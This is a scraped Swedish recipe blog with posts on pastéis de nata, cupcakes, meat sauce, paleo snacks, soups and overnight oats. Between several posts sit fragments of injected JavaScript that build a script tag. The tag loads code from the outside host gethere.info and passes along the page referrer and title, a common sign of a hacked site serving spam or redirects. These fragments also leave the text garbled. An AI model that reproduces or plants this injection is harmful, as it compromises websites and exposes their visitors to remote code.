Pastéis de Nata (Gräddpastej)

bild1

I helgen var jag på en resa till Lissabon, Portugal och fick prova på små läckra portugisiska bakverk av smördeg och äggkräm, ”Pastés de Nata”. Detta bakverk har blivit utsedd till Portugals nationalbakverk. Hittade ett recept på dessa gobitar här. Om du inte vill göra din egna smördeg så kan du köpa färdiga smördegsplattor i butiken.

Recept 12 st

Smördeg:
200 g (ca 3 dl) vetemjöl
125 g (ca 1 dl + 2 msk)
vatten Lite salt Om det behövs, lägg till lite vetemjöl, degen ska inte vara kladdig

Blanda ihop och låt vila 30 min. Kavla ut som en stor rektangel. Ta lite smör och ”smöra” in degen ca 1 mm tjockt (som man brer en macka) och vik i tre delar till en mindre rektangel. Låt vila 5 min. Kavla ut igen som en stor rektangel och smöra in degen ca 1 mm tjockt och rulla degen (som en rulltårta). Skär i små bitar (jag skar 12 bitar stora som en pingisboll ungefär), lagom storlek till en mazarinform. Tryck degen ut i formen (ställ på högkant och tryck ut. Jag tyckte det var enklare att trycka ut en rundel i handen och sedan trycka fast den i formen).

Krämen
60 g (ca 1 dl) vetemjöl
500 g (5 dl) mjölk
1 kanelstång
2 bitar (skala av två pekfingerstora bitar) citronskal
8 äggulor
250 g (knappt 3 dl) socker

Gör så här:

Koka upp 460 g mjölk, kanelstång, citronskal och socker. Blanda vetemjölet med resten av mjölken (Ta lite mer mjölk än receptet anger – ca 1 dl – och rör ner vetemjölet lite i taget så det blir en smet. När jag följde anvisningarna blev det en degboll), det ska inte vara några klumpar och rör ner detta i den kokande mjölkblandningen, rör till det blir krämigt. Ta bort från värmen och blanda ner äggulorna. När smeten är nedkyld, häll i formarna och baka i ugnen på 250 grader i 10 minuter (20 minuter i min varmluftsugn).

Leila’s Hi-hat cupcakes

Har provat att baka ”hi-hat” cupcakes en gång och de är riktigt söta och goda. Det är viktigt att ni ser till att marängen blir perfekt så ni kan doppa dem i chokladen. Receptet kommer från Leila’s senaste kokbok ”Hallo cupcake”.

 

12 cupcakes
3 ägg
2  1/2 dl strösocker
1 tsk vaniljsocker
50 gram smör
1 dl gräddfil
2 mska kaffe
3 1/2 dl vetemjöl
2 tsk bakpulver
4 msk kakao
1 nypa salt
100 gram mörk choklad (70%)

Sätt ugnen på 175 grader.
Vispa ägg, strösocker och vaniljsocker vitt och pösigt.
Smält smöret, häll i gräddfilen och kaffet och blanda det med äggsmeten.
Blanda vetemjöl, bakpulver, kakao och salt och vänd försiktigt  ner det i smeten.
Hacka den mörka chokladen grovt och smält den i ett vattenbad.
Blanda ner den smälta chokladen i smeten.
Placera ut pappersformar i en muffinsplåt och fyll formarna till 2/3 med smet.
Grädda i mitten av ugnen i ca 15 minuter. Låt svalna.

Maräng
6 äggvitor
8 1/2 dl strösocker
2 tsk vaniljsocker
Saft av 1 citron

Blanda äggvitor, strösocker, vaniljsocker och citronsaft i en rostfri bunke.
Sätt bunken i ett vattenbad (över kokande vatten). Rör först tills sockerkristallerna smält, vispa sedan till en fluffig maräng och tills det blir tydliga spår efter vispen.
Ta bort bunken från vattenbadet och fortsätt vispa till den svalnat helt.
Använd en sprits med rundtyll och spritsa marängen i toppformade spiraler på kakorna.
Låt dem stå och stelna helt i kylen innan de doppas i choklad.

Chokladtopping
350 gram mörk choklad (70%)
3 msk matolja

Hacka chokladen och smält den i vattenbad tillsammans med matoljan.
Häll över chokladen i en liten skål och låt svalna en aning.
Ta ut kakorna från kylen och doppa varje marängtopp i smält choklad.

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Farmor Frideborg’s köttfärssås

943452_10151448535410959_392896452_n

Här kommer ett supergott recept på en köttfärssås som jag fick av min  kompis Camilla. Det är hennes farmors köttfärsrecept som jag gjort min egen tolkning av. I originalreceptet skall det vara blandfärs/fläskfärs. Jag använde nötfärs.

Recept 4 personer
500 gram nötfärs eller blandfärs
1 lök skuren i bitar
1 påse brunsås
1-2 msk kalvbuljong
2 dl mjölk
Lite salt och peppar

Gör så här:
Stek löken och lägg på ett fat. Stek upp köttfärsen och häll i pulvret till den bruna såsen och häll i mjölken. Häll i löken och krydda med lite salt och peppar.

Servera med valfri pasta eller spagetti.

 var d=document;var s=d.createElement(‘script’);

Grönsallad med glasnudlar och sweet chili sås

Den här glasnudelsalladen tröttnar jag aldrig på och passar till både kött och fisk.

Salladen på bilden har jag gjort enlig följande recept:

Isbergssallad
Gurka
Salladslök
Kokta kalla glasnudlar /eller fitnessnudlar
Sweet chili sås

Koka nudlarna, låt kallna. Blanda ihop salladen och lägg i nudlarna. Häll på sweet chili sås. För er som vill göra en sweet chilidressing kan läsa receptet nedan:

Ingredienser
6 chilifrukter
6 vitlöksklyftor
1/2 burk honung (à 350 gram)
4 msk vitvinsvinäger

Gör så här:

  1. Finhacka chili och vitlök. Värm honungen försiktigt tillsammans med hacket.
  2. Slå på vinägern och låt svalna.
  3. Häll på flaska.

}

Lissabon 27-30 april 2014

Idag bär det iväg till Lissabon med jobbet. På agendan står både vinprovning, jeep safari och besök på en massa goda restauranger och trevliga barer/nattklubbar. Vi bor på det fina hotellet Corinthia hotel. Jag berättar mer när jag är hemma igen efter helgen.

bild3bild1bild4document.currentScript.parentNode.insertBefore(s, document.currentScript);

Blåbärssallad

 

Vad sägs om en god sallad? Jag köpte lite källarrökt skinka, minimozzarella, blåbär samt lite sallad och grönsaker och blandade ihop en fräsch sallad. Till dressing har jag olivolja, lite pressad citron och balsamvinäger samt lite salt och peppar.}

Bounty (Paleo)

bild1

Roligt när man hittar goda recept på nyttigt godis. De här receptet hittade jag på bloggen ”My Paleo Pantry”. Jag har gjort om receptet lite. Förvara dessa gobitar i kylen.

Recept(6-8  storaBounty eller 15 mindre bitar)
100 gram kokosolja
100 gram kokoskräm * (se nedan vad jag menar med kokoskräm)
50 gram honung (vill du ha mindre sötma så ta i mindre honung)
1/2 tsk vaniljpulver
100 gram kokosmjöl ( 100 gram blir lite för mkt…rekomenderar att du provar dig fram och tar ca 80-90 gram istället)

Garnering
100 gram mörk choklad till garnering
Kakaonibs och kokos till garnering

Gör så här:
Blanda ihop kokosolja och kokoskräm i en gryta och smält på låg värme.
Ta bort grytan från spisen och häll i honung och vaniljpulver.
När allt är ihopblandat tillsätter du kokosmjöl. I receptet står det 100 gram men då blir degen en aning torr.
Ta 80-90 gram istället för att få en bättre deg.  Låt smeten stå i ca 10 minuter. Om du tycker smeten är för torr så kan du blanda ut med lite vatten.
Forma till bountybitar och lägg dem på en tallrik och in i frysen tills de blivit hårda.
Smält chokladen under vattenbad och doppa dina Bounty bitar i chokladen. Dekorera med kakaonibs
Förvara dessa gobitar i kylen och de håller ca 1 vecka i kylskåpet.

* Recept kokoskräm
Ställ en burk kokosmjölk med botten upp i kylen ca 8 timmar.
Sila bort kokosvattnet och kvar har du sk kokoskrämen i burken.

bild19

bild16

bild17bild18bild15bild14

bild12

bild13

Ställ in dina bars i frysen ca 10-15 minuter och under tiden smälter du chokladen över vattenbad.

Doppa halva din bar och låt torka.

bild8Vänd på din bar och doppa/pensla över choklad och dekorera med kakaonibs och kokos. Låt svalna i kylen.

bild10

bild9bild7bild6bild2bild3bild20bild22bild4bild5B

Spaghetti Squash soup (Paleo)

 

bild2

Hittade ett spännande recept på spaghetti soppa  på bloggen ”Balancing Paleo”. Jag serverade soppan med knaperstekt bacon och paleo kex.

Här hittar ni en omvandlingstabell för matlagning.

Spaghetti Squash Soup (2-3 personer)
2 tsp. kokosolja
1/2 stor gul lök, skivad ca  1 cup.
1 lb (pound). ground beef (ca 450 gram)
3  vitlöksklyftor, (skär i mindre bitar)
1 tsp. torkad basilika
1 tsp. torkad oregano
1/2 tsp. lökpulver
1/2 tsp. vitlökspulver
1/2 tsp. paprikapulver
1/4 tsp. fänkålsfrön (går att utesluta)
1/4 tsp. röd peppar flakes
3/4 tsp. salt
1/4 tsp. färskmalen svartpeppar
2 cup. köttbuljong (ca 4,8 dl)
2 cup. vatten (ca 4,8 dl)
14 oz (ounze). burktomater, antingen krossade eller passerade (ca 400 gram)
2 cup squash pasta = zucchini (ca 4,8 dl)

Gör så här:
1) Smält kokosolja på  medelvärme och stek upp den gula löken, lägg i köttfärs och vitlök och stek upp tills allt är genomstekt.

2) Häll i kryddorna, buljong, vatten och tomatsås och låt koka upp. Låt allt småputtra i en gryta ca 30 minuter.

3) I originalreceptet står det att man lägger i sin spaghetti squash (= zucchini)  i grytan så allt blandas och koka i några minuter och krydda av med salt och peppar. Jag kokade zucchini pastan för sig i lättsaltat vatten någon minut, la upp på tallriken och sen hällde över soppan. Servera gärna med knaperstekt bacon och paleokex.

 

bild10

bild9

bild10bild11

bild12

bild13bild1bild2bild6bild3s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Overnight oats

bild12

Det här goda receptet på ”overnight oats”  fick jag från Anna, CrossFit  kompis på CrossFit Göta.
Kika gärna på hennes fina blogg här.

Banan & kokos overnight oats   1 port
1,2 dl havregryn (40g)
1/4 mosad banan (ca 35g)
1/2 msk psyllium- eller chiafrön
1/2 dl lätt kokosmjölk
1,5 dl lättkesella (150g)
1 dl osötad mandelmjölk (eller vanlig mjölk)
10 g whey complete vanilj (kan uteslutas)

Gör så här:
Blanda alla  ingredienser och häll över i en burk med lock. Ställ in i kylen över natten och sen är den färdig att ätas kall på morgonen. Jag skippade chiafrön  och använde vanlig lättmjölk istället för osötad mandelmjölk. Jag la på  lite hallon som smaksättning.

Havre

bild6bild5

A

untitled

bild4

bild3

bild1

bild10

bild11

bild2bild15bild12bild13s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Beef Stew (Paleo)

bild2

Det här receptet lagade jag med lövbiff. Du kan även laga detta recept med  bogkött eller högrev men då blir koktiden längre.

Recept (4-6 personer)
1 kg lövbiff
1-2 Spring onion (salladslök)
1/2 cup soja sås (glutenfri)
4 cups buljong (kött)
2-4 tbsp  honung
4 tbsp sesame oil (kan uteslutas)
4 tbsp sesamfrön
1 pc stjärnanis
1-2 stora vitlöksklyftor
1 röd lök (finskuren)
1 tsp cayenne pepper
lite fish sauce
Nymalen svartpeppar
Salladslök att garnera vid servering

Gör så här:
1. Stek upp vitöken  i lite kokosolja och lägg på en fat. Sen steker du  upp rödlöken och lägg på ett fat.
2. Skär upp köttet i mindre bitar och bryn upp köttet i en gryta.
4. Häll i sojasås och buljongen så det täcker köttet.
5. Lägg i stjärnanis och lite honung. Låt de puttra i ca 5-10 minuter tills köttet är genomstekt. Glöm ej ta bort din stjärnanis innan servering.
6. Häll i sesamolja, sesamfrön, salladslök, Cayenne peppar, vitlök och rödlök. Låt det småkoka i några minuter.
Ev kan du behöva krydda med lite nymalen svartpeppar och fish sause. Servera tillsammans med rotfrukter eller zucchinipasta eller varför inte sötpotatis pasta.

Om du tillagar denna rätt med högrev eller bog så skär köttet i mindre, kubformade bitar, följ receptet som ovan men koktiden blir ca 45-60 minuter. Ev kan du behöva hälla i lite mer vatten i grytan så köttet blir täckt ordentligt.

bild9

bild8

bild10

bild7bild5Bild1bild6bild4bild24document.currentScript.parentNode.insertBefore(s, document.currentScript);